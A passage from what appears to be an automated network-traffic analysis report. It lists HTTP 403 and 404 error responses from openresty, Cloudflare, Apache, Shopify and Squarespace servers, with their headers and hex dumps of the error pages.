page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 216x-sorting-hat-shopid: 66042101977x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=b17419a4-2423-497d-97cf-ebab875e26cd; path=/; expires=Fri, 25 Oct 2024 09:48:15 GMT; HttpOnly; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 26 Oct 2024 09:18:16 GMT; SameSite=Laxset-cookie: _shopify_y=6f5643c3-b65e-4741-b5cc-83a5ceb701a0; Expires=Sat, 25-Oct-25 09:18:16 GMT; Domain=domon.com; Path=/; SameSite=Laxset-cookie: _shopify_s=3f043576-83e7-4885-8d80-bc06ce9ce052; Expires=Fri, 25-Oct-24 09:48:16 GMT; Domain=domon.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginx-frame-options: DENYcontent-security-policy: frame-ancestors 'none';x-shopid: 66042101977x-shardid: 216Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:16 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:16 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:31 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=48P3F7h%2FJqHpomAC00WREndKHzkkkHNG65Gyfx%2Bj%2FCz7bZ7kNxYIpDDYWiFPsl7zirPTLMJ4j75TWMTii%2Fgrdya2WoTgFyDDTHZoMQZbXqm5iC5staqOOdLH3PyPw3yK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811e46f90ce7af-DFWData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nof
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 216x-sorting-hat-shopid: 66042101977x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=f51ade31-5371-4f71-a800-8a5935c0e53d; path=/; expires=Fri, 25 Oct 2024 09:48:16 GMT; HttpOnly; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 26 Oct 2024 09:18:16 GMT; SameSite=Laxset-cookie: _shopify_y=6f5643c3-b65e-4741-b5cc-83a5ceb701a0; Expires=Sat, 25-Oct-25 09:18:16 GMT; Domain=domon.com; Path=/; SameSite=Laxset-cookie: _shopify_s=a5c01669-075e-4d20-b862-39dfef694744; Expires=Fri, 25-Oct-24 09:48:16 GMT; Domain=domon.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginx-frame-options: DENYcontent-security-policy: frame-ancestors 'none';x-shopid: 66042101977x-shardid: 216Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:17 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:32 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YB7kGr19JyYjOOgZL2x7wDfd94%2BxsLqBkj%2FGfrIUPtKvxLT%2FVumUTo7sXwwGXuS8YZlzgn5wQp20V4OcRj0hpKUQfVoUGC7nb7feory15Q3ODevEFriJaorWGo95TKw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811e51ea47e85b-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2155&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=775&delivery_rate=0&cwnd=93&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 35 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d Data Ascii: 154a<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><m
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:17 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:18 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:33 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2TJwBmqOS5DVh8JO9JE3ZL952rX3YgrmLXQjLhOE5TjpBtixX13tQpaFSHS%2FiCWLbT8RmqXuXugBIlzrbK%2BOnwsOhgymAf12nhPBSKcBa%2BA9fKgNSXbIeoDcO6pBYL4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811e546a012c98-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1053&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=811&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 35 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c Data Ascii: 154a<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:18 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:18 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, must-revalidateContent-Length: 2059Content-Type: text/html; charset=UTF-8Date: Fri, 25 Oct 2024 09:18:19 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: gDXiH9YN/z8ukf6uSData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 